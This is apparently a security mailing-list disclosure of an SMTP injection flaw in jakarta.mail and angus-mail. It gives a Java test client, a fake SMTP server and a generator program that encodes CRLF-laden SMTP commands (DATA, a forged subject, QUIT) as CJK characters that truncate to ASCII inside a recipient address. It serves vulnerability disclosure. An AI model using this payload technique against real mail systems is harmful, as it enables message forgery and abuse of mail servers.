jakarta.mail SMTP Inject Vulnerability
From the security ml:
Test version
<dependency>
<groupId>jakarta.mail</groupId>
<artifactId>jakarta.mail-api</artifactId>
<version>2.1.3</version>
</dependency>
<dependency>
<groupId>org.eclipse.angus</groupId>
<artifactId>angus-mail</artifactId>
<version>2.0.3</version>
</dependency>
I wrote a test code to send mail
package javaxmail;
import jakarta.mail.*;
import jakarta.mail.PasswordAuthentication;
import jakarta.mail.internet.InternetAddress;
import jakarta.mail.internet.MimeMessage;
import java.util.Properties;
public class Main {
static final String USER = "xxxunj******@163.com";
static final String PASSWD = "EY**************";
static final String toMail = "甲申申甶甴甸电甹甸甸畀畱畱瘮畣畯畭甾瘍瘊畄畁畔畁瘍瘊畓畵畢番略畣畴町畐畗畎畅畄瘍瘊瘍瘊畉瘠界畏畖畅瘠留畏畕瘡瘍瘊瘮瘍瘊畑畕畉畔瘍瘊@qq.com";
static String TEXT = "Hello world";
static String SUBJECT = "Test";
static Properties properties = new Properties();
static Authenticator authenticator = null;
public static void initProp(){
properties.setProperty("mail.host","127.0.0.1");
properties.setProperty("mail.transport.protocol","smtp");
properties.setProperty("mail.smtp.auth","true");
properties.setProperty("mail.smtp.timeout", "1000");
properties.setProperty("mail.smtp.port", "465");
authenticator = new Authenticator() {
@Override
protected PasswordAuthentication getPasswordAuthentication() {
return new PasswordAuthentication(USER, PASSWD);
}
};
}
public static Session getSession(){
return Session.getDefaultInstance(properties, authenticator);
}
public static void main(String [] args) throws MessagingException {
initProp();
Session session = getSession();
MimeMessage msg = new MimeMessage(session);
msg.setRecipient(MimeMessage.RecipientType.TO, new InternetAddress(toMail));
msg.setSubject(SUBJECT);
msg.setContent(TEXT, "text/html;charset=utf-8");
msg.saveChanges();
Transport.send(msg);
}
}
I wrote a fake smtp server to receive data
package javaxmail;
import java.io.*;
import java.net.*;
public class FakeSMTPServer {
public static void main(String[] args) {
int port = 465; // SMTP 默认端口
try {
// 创建一个 ServerSocket 监听指定端口
ServerSocket serverSocket = new ServerSocket(port);
System.out.println("Fake SMTP server is running on port " + port);
while (true) {
// 等待客户端连接
Socket clientSocket = serverSocket.accept();
System.out.println("New client connected: " + clientSocket.getInetAddress());
// 获取客户端输入流,用于接收 SMTP 请求
BufferedReader reader = new BufferedReader(new InputStreamReader(clientSocket.getInputStream()));
PrintWriter writer = new PrintWriter(clientSocket.getOutputStream(), true);
// 发送欢迎消息,模拟服务器响应
writer.println("220 Fake SMTP Server Ready");
// 读取客户端的输入并打印
String line;
while ((line = reader.readLine()) != null) {
// 打印收到的每一行 SMTP 报文
System.out.println("Received: " + line);
// 模拟 SMTP 交互
if (line.startsWith("HELO") || line.startsWith("EHLO")) {
writer.println("250 Hello " + clientSocket.getInetAddress().getHostName());
} else if (line.startsWith("MAIL FROM")) {
writer.println("250 OK");
} else if (line.startsWith("RCPT TO")) {
writer.println("250 OK");
} else if (line.equals("DATA")) {
writer.println("354 Start mail input; end with <CRLF>.<CRLF>");
} else if (line.equals(".")) {
writer.println("250 OK: Message received");
} else if (line.equals("QUIT")) {
writer.println("221 Bye");
break;
}
// 如果客户端发送了 "QUIT",则退出当前会话
if (line.equals("QUIT")) {
break;
}
}
// 关闭当前客户端连接
clientSocket.close();
System.out.println("Client disconnected");
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
When I run Main.java, the fake smtp server receives the following data: which is smtp injected!!!
Next, I will start to explain my poc mail:
I used the following code to generate a poc mail
public class CASE3 {
public static void main(String[] args) {
String origin = "1ue@qq.com>\r\nDATA\r\nSubject:PWNED\r\n\r\nHack!\r\n.\r\nQUIT\r\n";
// String origin = "1";
byte[] result = new byte[origin.length()];
char[] chars = origin.toCharArray();
for (int i = 0; i < chars.length; i++) {
char c = chars[i];
char minValue = 30000; // \u0000
char maxValue = Character.MAX_VALUE; // \uFFFF
for (int j = minValue; j < maxValue; j++) { // char to int
char cc = (char) j; // int to char
if (cc == c)
continue;
byte cbyte = (byte) cc; // char to byte
if (cbyte == c) {
System.out.print(cc);
result[i] = cbyte;
break;
}
}
}
System.out.println();
System.out.println(new String(result));
}
}
Why does this POC work effectively? During the SMTP communication process, jakarta.mail will forcefully convert the string of Unicode characters "mail address" into ASCII symbols, and the result of the forced conversion is 1ue@qq.com>\r\nDATA\r\nSubject:PWNED\r\n\r\nHack!\r\n.\r\nQUIT\r\n, resulting in smtp inject(inject crlf token)
Follow-up message:
credit authors:
1ue
blu3r
Edited by Marta Rybczynska